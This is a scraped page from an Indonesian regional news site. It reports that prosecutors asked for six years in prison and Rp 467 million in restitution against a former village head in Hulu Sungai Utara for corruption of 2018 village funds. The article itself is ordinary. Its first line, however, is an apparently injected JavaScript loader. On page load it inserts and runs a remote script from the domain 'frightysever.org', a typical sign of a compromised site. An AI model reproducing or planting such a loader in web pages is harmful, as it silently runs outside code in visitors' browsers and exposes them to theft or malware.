(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Mantan Kepala Desa (Kades) Kalumpang Dalam, Kecamatan Babirik, Kabupaten Hulu Sungai Utara (HSU), Kalimantan Selatan, dituntut 6 tahun penjara denda 250 juta subsider 5 bulan penjara. Zidi Ilhami terjerat kasus korupsi anggaran dana desa kala.masih menjabat sebagai kepala desa.
Selain tuntutan pidana penjara, terdakwa Zidi Ilhami juga dituntut membayar uang pengganti kerugian negara sebesar Rp 467 juta oleh Jaksa Penuntut Umum (JPU) dari Kejari HSU.
“Dengan ketentuan apabila tidak dapat membayar 1 bulan setelah putusan berkekuatan tetap maka harta bendanya disita atau dilelang, apabila tidak cukup maka diganti dengan pidana 2 tahun 6 bulan penjara,” tuntut JPU dari Kejari HSU di hadapan majelis hakim Pengadilan Tipikor Banjarmasin, Rabu (12/7/2023) siang
Disebutkan JPU, unsur melawan hukum, memperkaya diri sendiri, dan unsur merugikan keuangan negara telah terbukti di persidangan.
Sementara itu hal yang memberatkan terdakwa menurut JPU yaitu tidak mendukung program pemerintah pemberantasan Tipikor (Tindak Pidana Korupsi), merugikan keuangan negara, dan tidak berterus terang di persidangan. Sedangkan yang meringankan berlaku sopan dan sebelumnya tidak pernah dihukum.
Zidi Ilhami, sebelumnya didakwa melakukan korupsi dana desa Desa Kalumpang Dalam saat masih aktif menjabat Kades tahun 2018.
Berdasarkan audit Badan Pengawasan Keuangan Pembangunan (BPKP) Kalsel terdakwa merugikan keuangan sebesar Rp 467.668.500 dari anggaran dana desa tahun 2018.
Baca juga: Pemkab HSU-Pemkab Barsel Teken Nota Kesepakatan Bersama Kembangkan Potensi Daerah
Dirinya didakwa dengan Pasal 2 ayat 1 Jo Pasal 18 Undang-Undang Nomor 20 tahun 2001 tentang perubahan atas Undang-undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi (Tipikor).
Sedangkan dakwan subsider yaitu Pasal 3 Jo Pasal 18 Undang-undang Nomor 20 Tahun 2001 tentang perubahan atas undang-undang Nomor 31 Tahun 1999 tentang Pemberantasan Tipikor.
Usai pembacaan tuntutan, terdakwa melalui penasehat hukumnya mengatakan akan mengajukan pledoi (pembelaan) pada sidang berikutnya.
“Kami akan mengajukan pledoi atau pembelaan,” kata Silaban, kuasa hukum terdakwa.
Sidang berikutnya akan digelar di Pengadilan Tipikor Banjarmasin pada Rabu (26/7/2023) dengan agenda pembacaan pledoi dari penasehat hukum terdakwa Zidi Ilhami. (Kanalkalimantan.com/rizki)
Reporter : rizki
Editor : bie
Pemilik Ternak Diminta Datang ke Kantor Satpol PP Banjarbaru Read More
KANALKALIMANTAN.COM, BANJARBARU - Kawasan pinggir jalan maupun median di Jalan Pangeran Suriansyah, Kota Banjarbaru, Kalimantan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan secara resmi membuka… Read More
KANALKALIMANTAN.COM, BANJARBARU - Provinsi Kalimantan Selatan kembali memfokuskan penanganan ancaman kebakaran hutan dan lahan (Karhutla)… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kemunculan seekor buaya di kawasan sungai Kelurahan Pelambuan, Kecamatan Banjarmasin Utara, Kota… Read More
KANALKALIMANTAN.COM, BANJARBARU – Dinas Kesehatan (Dinkes) Kota Banjarbaru hadirkan layanan kesehatan yang lebih dekat dengan… Read More
This website uses cookies.